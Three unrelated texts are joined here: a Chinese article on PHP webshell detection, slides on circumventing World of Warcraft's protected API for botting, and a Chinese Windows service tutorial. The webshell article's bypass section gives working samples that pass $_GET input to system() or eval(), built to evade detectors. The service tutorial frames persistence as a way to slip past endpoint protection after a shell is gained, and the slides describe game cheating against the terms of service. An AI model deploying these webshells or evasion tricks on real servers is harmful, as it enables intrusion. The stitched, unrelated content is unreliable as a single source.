动态分析⼀般通过hook关键操作与函数的⽅式,构造⼀个沙箱的环境直接执⾏样本,执⾏过 程中可以对污点传播进⾏跟踪,当污点传播到敏感函数时即可判断漏洞存在(类似IAST)。 此外还可以结合静态分析的结果,例如下⾯例⼦中,静态分析发现test函数是sink点,但是找 不到调⽤信息,动态执⾏过程中发现test函数被调⽤,就可以判断为webshell。 动态分析实现过程中需要解决以下⼏个问题 hook php函数与操作 针对OP进⾏hook php内核中每个OP都是⼀个handler函数负责的,可以使 ⽤ zend_set_user_opcode_handler() ⽅法将handler函数替换为⾃⼰的 <?php  $a = "sys" . "tm";    $a($_GET["a"]); <?php  function test() {        // eval code...   }    $a = "te" . "st";    $a(); 针对函数进⾏hook 直接修改php函数结构体内部的 internal_function.handler 污点标记与传播 php字符串的内部结构体 _zend_string 中有⼀个未使⽤的标记位 u.v.flags ,可以利⽤这个 标记位标记字符串是否被污染。 污染传播就hook字符串拼接转换等函数,执⾏的时候标记新的污点就可以了 分⽀执⾏ 执⾏流程中有时候需要根据输⼊信息进⾏⼀些分⽀判断,例如下⾯的例⼦ 如果执⾏不到if语句⾥⾯就⽆法判断webshell存在,所以这时候需要我们强制执⾏每个分⽀。 ⽅法很简单,直接HOOK掉 JMPZ``JMPNZ 等opcode,根据需要决定执⾏哪个分⽀。 阿⾥云webshell检测的思路是根据CFG进⾏栈回溯,遇到分⽀时保存现场,执⾏完⼀个分⽀后 恢复现场再执⾏另外⼀个分⽀。详细的分⽀对抗细节可以参考XCON 2020的议题云安全环境 下恶意脚本检测的最佳实践。 动态分析的缺陷 1. 动态分析⽆法判断跳出循环的时机,可能导致循环执⾏不充分 <?php  $func = "var_dump";    if($_GET["active"] == "1") {    $func = "system"; }    $func($_GET["cmd"]); 2. 分⽀爆炸的问题 动态执⾏时时间复杂度是O(2^n),分⽀多了之后执⾏时间爆炸。 3. 依赖外部信息的“隐含分⽀” 机器学习 基本思路是把opcode丢进去炼丹,⽤什么算法的都有:⻉叶斯、SVM、随机森林、卷积神经 ⽹络....,总之⽅法多种多样,但是效果还有待进⼀步验证。 绕过 核⼼思路: 利⽤动态特性绕过静态分析 利⽤分⽀和外部信息绕过动态分析 利⽤检测脚本未覆盖的sink点 $a = "syste"; $func = $a; for ($c = 0; $c <= ord($_GET["c"]); $c++) {    $func = "syste" . chr($c); } $func($_GET["a"]); <?php  function 900150983cd24fb0d6963f7d28e17f72() {        system($_GET["cmd"]);   }    file_put_contents("aaa.txt", $_GET["file"]);    hash_file("md5", "aaa.txt")();    unlink("aaa.txt"); a. php⽂档中搜索 callable 找⽀持回调的函数; b. php 内部有⼀些不在⽂档中显示的函数别名; c. 类继承、函数别名、yeild、iterator等等特性。 样本分享 利⽤反射绕过。 <?php // test class SuperClass {    static $v;    static $f = "var_dump";    public function __construct() {       (self::$f)(self::$v);   } } $reflect = new ReflectionClass("Super" . "class"); $reflect->setStaticPropertyValue("v", $_GET["string"]); // $reflect->setStaticPropertyValue("f", $_GET["a"]); $reflect->setStaticPropertyValue($_GET['a'], "syste". "m"); $reflect->newInstance(); 压缩webshell并使⽤ compress.zlib:// filter include⾃身绕过 两次执⾏和多⽂件绕过 ..... <?php require("compress.zlib://" . basename(__FILE__)); // 写⼀个真正的shell,使⽤gzip压缩后放在⽂件开头位置 <?php // require ⼀个不存在的⽂件,恶意代码放在require之后, // 第⼀次执⾏出错,error_handler创建该⽂件, // 第⼆次执⾏正常可以执⾏到后⾯的恶意代码 namespace App\Services; class ApiCallerService {    protected $config;    public function name() {        return "sYS" . "teM";   }    public function run() {        $this->name()($this->config['url']);   }    public function __construct($url) {        $this->config = [            'url' => $url,            'home' => 'https://httpbin.org/get',       ];   } 利⽤PHP CGI模式和cli模式的不同绕过 利⽤PDO创建UDF绕过 } function eh($errno, $errstr, $errfile, $errline) {    $fp = fopen("wordpress.txt", "w");    fwrite($fp, "foobar");    fclose($fp); } set_error_handler("App\\Services\\eh"); $serv = new ApiCallerService($GLOBALS['_GET']['cxx']); require_once "wordpress.txt"; $serv->run(); <?php header('Cmd: system($_GET[1])'); // cli 模式返回空数组,CGI模式返回⻓度为2的数组 $a = headers_list(); $b = ""; for ($i = 0; $i < sizeof($a); $i++) {    if($a[$i][0] == 'C') {    $b = substr($a[$i], 5); } } eval($b); <?php // 使⽤sqliteCreateFunction 创建⼀个UDF,并在查询语句中调⽤该UDF namespace Foo\Bar; function func($vars) {    system($vars); Playground https://ti.aliyun.com/#/webshell 参考资料 ssdeep 项⽬ https://ssdeep-project.github.io/ssdeep/index.html 模糊哈希算法的原理与应⽤ https://www.claudxiao.net/2012/02/fuzzy_hashing 词法分析 https://zh.wikipedia.org/wiki/词法分析 PhpToken::tokenize https://www.php.net/manual/en/phptoken.tokenize.php 《编译原理和技术》 中间语⾔与中间代码⽣成 http://staff.ustc.edu.cn/~yuzhang/compiler/2018f/lectures/ir-6in1.pdf CTF All In One 数据流分析 https://firmianay.gitbooks.io/ctf-all-in- one/content/doc/5.4_dataflow_analysis.html PHP-Parser https://github.com/nikic/PHP-Parser PHP-CFG https://github.com/ircmaxell/php-cfg php-ast https://github.com/nikic/php-ast vld https://pecl.php.net/package/vld } function cf($str) { //   echo $str . "\n";    func($str); //   new_clazz(); } $db = new \PDO('sqlite::memory:'); $db->exec("CREATE TABLE strings(a)"); $insert = $db->prepare('INSERT INTO strings VALUES (?)'); $insert->execute(array($_SERVER['CONTENT_TYPE'])); // $db->sqliteCreateFunction('my_func', '\\Foo\\Bar\\'. 'cf', 1); $rows = $db->query('SELECT my_func(a) FROM strings'); opcode在webshell检测中的应⽤ https://cloud.tencent.com/developer/article/1540989 使⽤PHP安全检测拓展Taint检测你的PHP代码 https://juejin.cn/post/6844903597168132104 taint https://github.com/laruence/taint PHP HOOK的若⼲⽅法 https://blog.csdn.net/u011721501/article/details/70174924 洋葱Webshell检测实践与思考 https://security.tencent.com/index.php/blog/msg/152 php webshell的检测与绕过 https://www.anquanke.com/post/id/197631 刘新. EagleEye:⾯向云环境的WebShell检测系统设计与实现[D].兰州⼤学,2019. 王硕&孙艺.云安全环境下恶意脚本检测的最佳实践.XCON 2020 Recent Advances in Next Generation Cybersecurity Technologies https://www.hindawi.com/journals/wcmc/2021/5533963/ Phithon.PHP动态特性的捕捉.KCON 2019
pdf
Subver'ng
the
 World
of
Warcra4
API
 by
 Christopher
Mooney
 James
Luedke
 NDA
 If
you
are
a
Blizzard
employee
or
a
Blizzard
fan‐boy
this
NDA
applies
to
you.

You
 are
 forbidden
 to
 discuss
 this
 code
 with
 anyone
 else
 upon
 penalty
 of
 tar
 and
 feather.
 
 In
 fact
 we
 have
 tested
 this
 presenta'on
 out
 on
 other
 Blizzard
 employees/fan‐boys
and
their
faces
melted
off.

We
would
strongly
suggest
that
if
 you
iden'fy
with
either
of
these
groups
you
leave
the
room
now.

What’s
more,
 this
code
is
so
provoca've
that
to
verify
it
works
you
will
need
to
violate
your
 own
companies
terms
of
service,
which
could
have
the
unfortunate
side‐effect
of
 imploding
the
universe.
 
Remember,
we
are
professionals
and
it’s
never
a
good
 idea
to
cross
the
streams.

 Who
Are
We?
 Christopher
Mooney
 > 
Project
DoD
Inc.
 > 
University
of
Southern
Maine
 > 
Cryptology
and
Computer
Security
 > 
Gearman
 > 
C
So4ware
Engineer
 > 
High
Performance/Availability
Space
 > 
BTP
Code
 > 
Day
Jobs
 James
Luedke
 > 
Project
DoD
Inc.
 > 
Gearman
 > 
Drizzle
 > 
C
So4ware
Engineer
 > 
High
Volume
Messaging
 > 
High
Performance/Availability
Space
 > 
BTP
Code
 > 
Day
Jobs
 > 
We
will
run
a
live
demo,
 > 
explain
how
the
UI
used
to
work,
 > 
explain
how
it
works
now,
 > 
briefly
discuss
protected
func'on,
 > 
talk
about
side‐channel
aYacks,
 > 
discuss
how
our
code
works,
 > 
go
over
ways
to
use
the
code,
 > 
cover
the
BTP
Project,
 > 
and
take
ques'ons.
 What
 You
 Can
 Expect
 What
is
the
World
of
 Warcra4
API?
 > 
The
UI
for
World
of
Warcra4
is
wriYen
in
LUA.
 > 
LUA
is
a
Object
Oriented
scrip'ng
language.
 > 
Blizzard
provides
an
API
to
write
Addons.
 > 
In‐game
informa'on
is
exposed
through
this
API.
 > 
The
API
can
be
used
to
change
the
UI
appearance.
 > 
The
API
also
allows
you
to
affect
the
environment
with
 func'ons
that
can
respond
to
a
hardware
buYon
press.
 How
the
UI
used
to
work
 before
patch
2.0
 > 
Make
a
func'on
called
 NukePlayer();
 > 
CastSpellByName(“Fireball”);
 > 
Make
a
macro:
/nukeplayer
 > 
Bind
/nukeplayer
to
a
key.
 > 
Addons
that
used
this:
 > 
decursive
 > 
one‐hit‐wonder
 > 
Behead
the
Prophet
(BTP
code)
 > 
With
the
old
system
you
could:
 > 
Heal
party
or
raid
members
 > 
BeYer
define
spell
rota'ons
 > 
Maximize
Damage
Per
Second
 -- -- Basic example of a healing function -- function PriestHeal() for i = 1, GetNumPartyMembers() do nextPlayer = "party" .. i; if (UnitHealth(nextPlayer) / UnitHealthMax(nextPlayer) <= .25) TargetUnit(nextPlayer); CastSpellByName(“Flash Heal”); end end end How
the
UI
works
now
on
 patch
3.x
 > Removed
access
to
a
bunch
of
API
func'ons.
 > 
TargetUnit()
 > 
CastSpellByName()
 > 
Prevented
some
func'ons
from
being
called
in
combat.
 > 
SetBindingClick()
 > 
Protected
func'ons
that
could
only
be
executed
by
 Blizzard
signed
code
were
introduced.
 > 
Community
complaints
fell
on
def
ears.
 > 
Users
and
coders
alike
had
to
endure
a
paradigm
shi4.
 > Addons
that
broke
because
of
this
change:
 > 
decursive
 > 
one‐hit‐wonder
 > 
Behead
the
Prophet
(BTP
code)
 > 
Users
could
no
longer:
 > 
Heal
party
or
raid
members
programma'cally
 > 
Use
LUA
to
define
spell
rota'ons
 > 
Decurse
programma'cally
 > 
Target
programma'cally
 -- -- Basic example of a healing function -- function PriestHeal() for i = 1, GetNumPartyMembers() do nextPlayer = "party" .. i; if (UnitHealth(nextPlayer) / UnitHealthMax(nextPlayer) <= .25) TargetUnit(nextPlayer); CastSpellByName(“Flash Heal”); end end end Why
did
Blizzard
 Make
These
 Changes?
 New
Terms
of
 Service
 Changes
 > 
Our
understanding
is
that
 they
thought
programma'c
 decision
making
unbalanced
 the
game.
 > 
There
may
be
a
larger
 philosophy
behind
why
they
 chose
to
do
this.
 > 
Maybe
they
just
hate
us.
 > 
Add‐ons
must
be
free
of
charge.
 > 
Add‐on
code
must
be
completely
 visible.
 > 
Add‐ons
must
not
nega'vely
impact
 World
of
Warcra4
realms
or
other
 players.
 > 
Add‐ons
may
not
include
 adver'sements.
 > 
Add‐ons
may
not
solicit
dona'ons.
 > 
Add‐ons
must
not
contain
offensive
 or
objec'onable
material.
 > 
Add‐ons
must
abide
by
World
of
 Warcra4
ToU
and
EULA.
 > 
Blizzard
Entertainment
has
the
right
 to
disable
add‐on
func'onality
as
it
 sees
fit.
 Plan
of
AYack
 > 
We
work
around
the
protected
func'ons.
 > 
That’s
chea'ng!
 > 
There
is
no
such
thing
as
chea'ng.
 > 
Iden'fy
your
objec've.
 > 
Find
the
path
of
least
resistance
to
that
objec've.
 Working
Inside
The
 Framework
 > 
It’s
just
a
game
we
didn’t
want
to
work
too
hard.
 > 
Frequent
patch
updates.
 > 
Which
means
binary
updates.
 > 
DMCA
considera'ons
(WoW
Glider).
 > 
We
wanted
to
steer
away
from
anything
that
could
 be
considered
a
circumven'on
device
by
restric'ng
 our
code
to
LUA
using
the
World
of
Warcra4
API.
 > 
We
used
Autohotkeys
because
it
was
allowed
for
 mul'‐boxing.
 > 
Later
we
wrote
something
similar
for
the
MAC.
 Binding
Keys
Out
of
 Combat
 -- -- How to use ProphetKeyBindings() in -- our healing function. -- function PriestHeal() -- -- Binds spells, inventory items, -- container items, targeting, -- movement, and some macros to -- key presses. -- ProphetKeyBindings(); for i = 1, GetNumPartyMembers() do nextPlayer = "party" .. i; if (UnitHealth(nextPlayer) / UnitHealthMax(nextPlayer) <= .25) TargetUnit(nextPlayer); CastSpellByName(“Flash Heal”); end end end -- -- Simple example of how -- ProphetKeyBindings() works. -- function ProphetKeyBindings() -- -- SNIP (only bind out of combat) -- btn = CreateFrame("Button”,"BtpButton" .. k,nil,"SecureActionButtonTemplate"); btn:RegisterForClicks("AnyUp"); btn:SetAttribute("type”,"macro"); btn:SetAttribute("macrotext”, "/focus target\n/target player"); SetBindingClick(key .. letters[j], "BtpButton" .. k); fuckBlizMapping["player"] = key .. letters[j]; end Map
Key
Binding
to
a
Color
 -- -- Simple example of how -- ProphetKeyBindings() works. -- function ProphetKeyBindings() -- -- SNIP (only bind out of combat) -- btn = CreateFrame("Button”,"BtpButton" .. k,nil,"SecureActionButtonTemplate"); btn:RegisterForClicks("AnyUp"); btn:SetAttribute("type”,"macro"); btn:SetAttribute("macrotext”, "/focus target\n/target player"); SetBindingClick(key .. letters[j], "BtpButton" .. k); fuckBlizMapping["player"] = key .. letters[j]; end -- -- Simple example of how -- color-to-key binding works. -- while true do keyToColor[key .. letters[i]] = hex[r] .. hex[g] .. hex[b]; i = i + 1; if (i > 45 or (i > 36 and key == "CTRL-")) then if (key == "CTRL-") then key = "CTRL-SHIFT-"; elseif (key == "CTRL-SHIFT-") then key = "ALT-"; elseif (key == "ALT-") then key = "ALT-SHIFT-"; elseif (key == "ALT-SHIFT-") then key = "ALT-CTRL-"; elseif (key == "ALT-CTRL-") then key = "ALT-CTRL-SHIFT-"; elseif (key == "ALT-CTRL-SHIFT-") then break; end i = 1; end r, g, b = RollRGB(r, g, b); end Display
Colors
in
Frames
 -- -- Code to Set a Frame Color -- function btp_frame_set_color_hex(fname, hex) if (fname and hex) then local rhex, ghex, bhex = string.sub(hex, 1, 2), string.sub(hex, 3, 4), string.sub(hex, 5, 6); btp_frame_set_color(fname, tonumber(rhex, 16)/255, tonumber(ghex, 16)/255, tonumber(bhex, 16)/255); end end function btp_frame_set_color(fname, red, green, blue) local full_name = "btp_frame_" .. fname; local frame = getglobal(full_name); if (frame and red and green and blue) then frame:SetBackdropColor(red,green,blue); end end Replace
The
API’s
Old
 Func'ons
 -- -- Our new healing function -- function PriestHeal() for i = 1, GetNumPartyMembers() do nextPlayer = "party" .. i; if (UnitHealth(nextPlayer) <= .25) FuckBlizzardTargetUnit(nextPlayer); FuckBlizzardByName(“Flash Heal”); end end end -- -- Simple example of how -- FuckBlizzardByName() works. -- function FuckBlizzardByName(cmd) if (fuckBlizMapping[cmd]) then btp_frame_set_color_hex("PA”, keyToColor[fuckBlizMapping[cmd]]); end btp_frame_set_color_hex("IT", "FFFFFF"); end -- -- Simple example of how -- FuckBlizzardTargetUnit() works -- function FuckBlizzardTargetUnit(unit_id) if (fuckBlizMapping[unit_id]) then if (unit_id == "playertarget") then btp_frame_set_color_hex("PPT”, keyToColor[fuckBlizMapping[unit_id]]); else btp_frame_set_color_hex("PT", keyToColor[fuckBlizMapping[unit_id]]); end end btp_frame_set_color_hex("IT", "FFFFFF"); end Frames
Have
Context
 -- -- Init Frames With Gradient Blue -- function btp_frame_init() btp_frame_set_color_hex("IT", "000011"); btp_frame_set_color_hex("IA", "000022"); btp_frame_set_color_hex("IPT", "000033"); btp_frame_set_color_hex("CT", "000044"); btp_frame_set_color_hex("CA", "000055"); btp_frame_set_color_hex("CPT", "000066"); btp_frame_set_color_hex("AT", "000077"); btp_frame_set_color_hex("AA", "000088"); btp_frame_set_color_hex("APT", "000099"); btp_frame_set_color_hex("PT", "0000AA"); btp_frame_set_color_hex("MA", "0000BB"); btp_frame_set_color_hex("PA", "0000CC"); btp_frame_set_color_hex("MP", "0000DD"); btp_frame_set_color_hex("PPT", "0000EE"); end Outside
Controller
 Programs
 > 
Scans
for
gradient
blue
to
iden'fy
each
frame.
 > 
Frame
to
the
far
right
signals
there’s
input.
 > 
Scrape
color
from
frame
buffer
for
known
posi'ons.
 > 
Hit
the
key
sequence
associated
with
that
color.
 > 
Controller
for
PC
and
MAC.
 PC
Controller:
Autohotkeys
 > 
Blizzard
says
dual‐boxing
is
okay.
 > 
Scrip'ng
language.
 > 
API
to
get
pixel
colors.
 > 
Reads
pixels
for
a
frame.
 > 
Takes
an
ac'on
based
on
a
color.
 -- -- Example of getting a pixel -- PixelGetColor, OutputVar, xbox, ybox, RGB If (OutputVar == "0x000011") { ... } -- -- Example of sending input -- str := "focus target{Enter}” Send / Sleep, 75 SendInput %str% MAC
Controller:
 Objec've‐C
 > 
There
is
no
Autohotkeys
for
MAC.
 > 
So
we
wrote
the
controller
in
objec've‐C.
 > 
The
MAC
controller
takes
one
screen
capture
and
works
off
that.
 > 
Much
faster
than
the
Autohotkeys
script.
 > 
Too
much
code
to
show
here.
 Cool
Things
We
Can
Do
 > 
Cast
spells,
target,
and
move
again.
 > 
We
can
re‐enable
a
bunch
of
old
addons.
 > 
We’ve
wriYen
subs'tu'ons
for
one‐hit‐wonder
and
decursive.
 > 
Heuris'c
cas'ng
modifica'ons
per‐class.
 > 
Cast,
target,
or
move
in
response
to
non‐hardware
events.
 > 
Healing
and
DPS
bots
that
will
follow
another
character
around.
 > 
Using
the
movement
func'ons
one
can
call
a
bot
to
them.
 > 
Using
the
movement
func'on
one
can
farm
nodes.
 > 
Using
the
follow
func'ons
one
can
farm
baYlegrounds.
 > 
A
controlling
player
can
command
another
to
cast
spells.
 About
the
Project
 > 
hYps://btp.dod.net/

 > 
Forums
 > 
Wiki

 > 
hYps://launchpad.net/btp

 > 
Develop
the
code
 > 
Post
bugs
 > 
The
code
is
GPL3,
open
source,
and
free.
 > 
Developers
Wanted
 > 
C++
Version
of
the
controller
to
replace
Autohotkeys
 > 
Complete
all
the
class
code.
 > 
Port
those
old
addons
to
the
new
API.
 > 
We’re
moving
on
to
other
projects.

Want
to
take
over?
 Conclusion
 > 
Tiled
background
images
are
fail.
 > 
Monochrome
text
is
win.
 Any
Ques'ons?
pdf
windows服务工作原理 windows服务是一种可以在后台完成任务的程序,服务程序一般随着系统启动而启动,启动权限一般是 system,windows vista开始为了提升系统的安全性,将服务程序放在session 0运行,和我们普通的用 户态程序运行在不同的session级别,我们无法跨session进行交互,因此保证了服务程序的安全。我们 随便找一个服务,用 process hacker打开他的进程,就可以看到如下信息: 服务程序不需要用户界面,所以服务程序通常是以控制台程序的形式编写的,入口函数是main函数。一 个服务一般由三部分组成。 1. Service control Manager(SCM),SCM存在于Service.exe中,在windows启动的时候会自动运行,此 进程以系统特权运行,并且提供一个统一的,安全的手段去控制服务。它其实是一个RPCServer, SCM中包含一个存储着已安装的服务和驱动程序的信息的数据库,通过SCM可以统一的,安全地管 理这些信息,一个服务的安装需要将自身写入这个数据库。 2. 服务本身,一个服务需要拥有从SCM收到信号和命令所必须的特殊代码,并且能够在处理后将它的 状态回传给SCM。 3. 第三部分是service control dispatcher(SCP),有用户界面,允许用户开始停止暂停继续一个服 务,SCP的作用是跟SCM通讯。 服务很重要的函数 1. 入口函数中调用SCM通知函数 如果是exe程序,那么入口函数一般就指的是main或者winmain函数,通常在服务程序的入口函数使用 StartServiceCtrlDispatcher 函数通知SCM可执行程序包含几个服务(因为一个exe中可以注册多个 服务程序),每个服务的入口回调函数地址是什么: SERVICE_TABLE_ENTRYA结构体的定义如下: 当SCM执行服务程序的时候,SCM为这个进程中每一个lpServiceStartTable指向的每一个服务产生一个 线程,并且入口地址是lpServiceProc。SCM启动一个服务程序之后,它会等待该程序的主线程去 调 StartServiceCtrlDispatcher。如果那个函数在两分钟内没有被调用,SCM将会认为这个服务有问题,并 调用 TerminateProcess去杀死这个进程。这就要求你的主线程要尽可能快的调用 StartServiceCtrlDispatcher。 StartServiceCtrlDispatcher函数并不是立即返回,而是等待所有服务线程退出后才会返回,所以不需要 用户自己构造死循环来防止你的程序的主线程退出导致进程结束。StartServiceCtrlDispatcher 被调用后 会陷入一个主循环中,当在该循环内,StartServiceCtrlDispatcher悬挂起自己,等待下面两个事件中的 一个发生。 第一,如果SCM要去送一个控制通知给运行在这个 进程内一个服务的时候,这个线程就会激活。当控制 通知到达后,线程激活并调用相应服务的CtrlHandler函数。CtrlHandler函数处理这个 服务控制通知, 并返回到StartServiceCtrlDispatcher。StartServiceCtrlDispatcher循环回去后再一次悬挂自己。 第二,如果服务线程中的一个服务中止,这个线程也将激活。在这种情况下,该进程将运行在它里面的 服务数减一。如果服务数为 零,StartServiceCtrlDispatcher就会返回到入口点函数,以便能够执行任何 与进程有关的清除工作并结束进程。如果还有服务在运 行,哪怕只是一个服务, StartServiceCtrlDispatcher也会继续循环下去,继续等待其它的控制通知或者剩下的服务线程中止。 因为此函数需要SCM通讯,所以该函数所在的进程必须由SCM启动,不可以用户通过双击启动。双击启 动会造成SCM通讯失败从而导致函数调用失败。 2. 服务线程入口函数 此函数就是StartServiceCtrlDispatcherA传递给SCM促使其为每个服务启动的函数,一般命名为 ServiceMain ,需要如下形式: 此函数由操作系统调用,并执行能完成服务的代码。服务线程入口函数必须在80秒内完成初始化工作, 有两个必不可少的工作,第一项工作是调用 RegisterServiceCtrlHandler 通知SCM此服务的 CtrlHandle的回调函数地址: BOOL StartServiceCtrlDispatcher(  const SERVICE_TABLE_ENTRYA *lpServiceStartTable ); typedef struct _SERVICE_TABLE_ENTRYA { LPSTR                   lpServiceName; //服务名称 LPSERVICE_MAIN_FUNCTIONA lpServiceProc; // 服务回调函数 } SERVICE_TABLE_ENTRYA, *LPSERVICE_TABLE_ENTRYA; void WINAPI ServiceMain(DWORD dwArgc, //参数个数                        LPTSTR* lpszArgv // 参数串                       ); lpServiceName必须和刚才SERVICE_TABLE_ENTRY中指定的名字相对应。 此函数返回一个SERVICE_STATUS_HANDLE类型的句柄,SCM用它来唯一确定这个服务,当服务需要把 它的状态报告给SCM的时候,就必须把这个句柄传给需要它的API函数,这个句柄无需关闭。 第二项工作是立即调用 SetServiceStatus 报告SCM此服务正在初始化,传递一个SERVICE_STATUS的 结构体的地址。 SERVICE_STATUS结构体如下: 3. 服务控制回调函数 服务控制回调函数的作用是SCM将利用它去改变这个服务的状态,也是一个回调函数,它必须具有如下 原型。 用户必须为它的服务程序中每一个服务写一个单独的CtrlHandler函数,当使用系统服务管理工具操作你 注册的服务的时候,CtrlHandler函数就会收到相应的通知。 SCM调用控制函数HandlerProc的时候,有下面几个预定义的控制命令,如下: 当HandlerProc收到这些控制命令之后,需要立即去调用SetServiceStatus修改服务状态和处理这个状态 变化所需要的时间。因为服务程序的主线程大多是一个死循环,不停的干活,在这个函数中需要用一些 信号值来控制服务服务程序主线的的挂起、运行和停止功能。 SERVICE_STATUS_HANDLE RegisterServiceCtrlHandlerA(  LPCSTR             lpServiceName,  LPHANDLER_FUNCTION lpHandlerProc ); BOOL SetServiceStatus(  SERVICE_STATUS_HANDLE hServiceStatus,  LPSERVICE_STATUS      lpServiceStatus //SERVICE_STATUS结构体的地址 ); typedef struct _SERVICE_STATUS {  DWORD dwServiceType; // 指明服务可执行文件的类型,此值在服务生命周期内不应该改变  DWORD dwCurrentState; //服务现在的状态,如果是在初始化需要设置为 SERVICE_START_PENDING  DWORD dwControlsAccepted; // 指明服务愿意接收什么类型的控制通知,  DWORD dwWin32ExitCode; // 报告启动或停止时发生的错误的错误代码  DWORD dwServiceSpecificExitCode; //服务特定的错误代码,服务在服务启动或停止时发生错误时 返回  DWORD dwCheckPoint; // 用来报告当前服务的事件进展  DWORD dwWaitHint; } SERVICE_STATUS, *LPSERVICE_STATUS; void WINAPI CtrlHandler(DWORD dwOpcode // 控制命令 ); SERVICE_CONTROL_STOP   SERVICE_CONTROL_PAUSE SERVICE_CONTROL_CONTINUE SERVICE_CONTROL_INTERROGATE SERVICE_CONTROL_SHUTDOWN 独立进程的服务 有了如上的知识,我们就可以用c语言实现服务程序了,详细的代码如下: //#include "stdafx.h" #include <Windows.h> #include <tchar.h> #pragma warning(disable : 4996) #include <stdio.h> #define SERVICE_NAME _T("FirstService") SERVICE_STATUS g_status; SERVICE_STATUS_HANDLE g_hServiceStatus; HANDLE g_hEvent = NULL; void Init() { g_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_status.dwCurrentState = SERVICE_STOPPED; // 设置服务可以使用的控制 // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续” g_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; g_status.dwWin32ExitCode = 0; g_status.dwServiceSpecificExitCode = 0; g_status.dwCheckPoint = 0; g_status.dwWaitHint = 0; //创建初始为有信号的手动内核事件。 g_hEvent = CreateEvent(NULL, TRUE, TRUE, LPCWSTR("Pause")); } void SetStatus(long lCurrentStatus) { g_status.dwCurrentState = lCurrentStatus; SetServiceStatus(g_hServiceStatus, &g_status); } void WINAPI Handler(DWORD dwOpcode) { switch (dwOpcode) { case SERVICE_CONTROL_STOP: { //收到停止服务命令停止服务 SetStatus(SERVICE_STOP_PENDING); SetStatus(SERVICE_STOPPED); } break; case SERVICE_CONTROL_PAUSE: { SetStatus(SERVICE_PAUSE_PENDING); ResetEvent(g_hEvent); //通知RUN函数开始等待 SetStatus(SERVICE_PAUSED); } break; case SERVICE_CONTROL_CONTINUE: { SetStatus(SERVICE_CONTINUE_PENDING); SetEvent(g_hEvent);//通知RUN函数继续执行 SetStatus(SERVICE_RUNNING); } break; case SERVICE_CONTROL_INTERROGATE: break; case SERVICE_CONTROL_SHUTDOWN: { //关机时停止服务 SetStatus(SERVICE_STOP_PENDING); SetStatus(SERVICE_STOPPED); } break; default: break; } } void Run() { while (1) { WCHAR tcFile[MAX_PATH] = L"C:\\test.txt"; //打开已存在的a.txt文件 HANDLE hFile = CreateFile(tcFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { //打开失败则创建一个。 hFile = CreateFile(tcFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwWrite = 0; WriteFile(hFile, "Hello", 5, &dwWrite, NULL); } CloseHandle(hFile); Sleep(500);  //暂停500毫秒后继续扫描  //如何g_hEvent无信号则暂停执行 WaitForSingleObject(g_hEvent, INFINITE); } } void WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) { // 注册控制请求句柄 g_hServiceStatus = RegisterServiceCtrlHandler(SERVICE_NAME, Handler); if (g_hServiceStatus == NULL) return; SetStatus(SERVICE_START_PENDING); SetStatus(SERVICE_RUNNING); // 当 Run 函数返回时,服务已经结束。 Run(); g_status.dwWin32ExitCode = S_OK; g_status.dwCheckPoint = 0; g_status.dwWaitHint = 0; g_status.dwCurrentState = SERVICE_START; //设置服务状态为停止,从而退出服务. SetServiceStatus(g_hServiceStatus, &g_status); } 我们可以看到服务的入口函数就是mian函数,然后调用 StartServiceCtrlDispatcher 之后就return 了,但是你根本不必担心此程序启动的进程会因为return而直接退出,具体的原因请阅读上面对函数 StartServiceCtrlDispatcher 的解释。 此服务启动后,在ServiceMain函数启动的服务线程调用死循环 Run 不停的打开 c:\test.txt ,向里面写 入 Hello。 独立进程服务的安装和卸载 独立运行的服务程序写好了,那怎么暗转它到服务管理器,并启动呢? 使用SC命令 使用sc.exe程序进行服务的安装和管理是最简单的方式,具体的操作如下: int main(int argc, char* argv[]) { Init(); //初始化服务数据信息 //判断参数决定如何执行代码 SERVICE_TABLE_ENTRY st[] = { { (LPWSTR)SERVICE_NAME, ServiceMain }, { NULL, NULL } }; StartServiceCtrlDispatcher(st); CloseHandle(g_hEvent); return 0; } sc create FirstService BinPath="C:\ConsoleApplication1\Release\ConsoleApplication1.exe" DisplayName="FirstService"  # 安装一个服务 sc query {ServiceName} # 查询服务的运行状态 sc start {ServiceName} # 启动一个服务 sc stop {ServiceName}  # 关闭一个服务 sc delete {ServiceName} # 删除一个服务 sc create 子命令有很多选项可以控制服务的类型,自己看帮助文档吧: 我们在Services.msc管理器就可以看到FirstService的状况: C:\Users\administrator>sc create /? 描述:        在注册表和服务数据库中创建服务项。 用法:        sc <server> create [service name] [binPath= ] <option1> <option2>... 选项: 注意: 选项名称包括等号。      等号和值之间需要一个空格。 type= <own|share|interact|kernel|filesys|rec|userown|usershare>       (默认 = own) start= <boot|system|auto|demand|disabled|delayed-auto>       (默认 = demand) error= <normal|severe|critical|ignore>       (默认 = normal) binPath= <.exe 文件的 BinaryPathName> group= <LoadOrderGroup> tag= <yes|no> depend= <依存关系(以 / (斜杠)分隔)> obj= <AccountName|ObjectName>       (默认= LocalSystem) DisplayName= <显示名称> password= <密码> 然后我们的服务就运行起来了,可以看到C盘下面创建了一个 test.txt文件,并且即便被删除了之后还是 会不停的创建。 但是我们知道执行命令就意味着进程创建行为,如果了解端上防护软件的工作原理就会明白进程创建行 为是最敏感的(如果对端上主防软件的工作原理和规则不太懂的,我们以后再单独开专题讲),并且是 最容易被拦截和控制的步骤,再真正的权限控制过程中我们尽量要避免使用命令操作 攻防的对抗程度已经今非昔比了,不要再想以前一样,拿到一个shell之后,立马手贱的执行一个 whoami,net user,你这样的行为在端防护软件的眼里根本无所遁形,分分钟痛失一条shell 直接写注册表创建服务 此时未免会有点疑问,我们的服务名字,可执行文件路径信息以及配置信息是存在操作系统的什么未知 呢? 其实我们的所有服务都是存在注册表中,键值路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services ,在这个路径下就可以看到我们刚才创 建的服务信息: 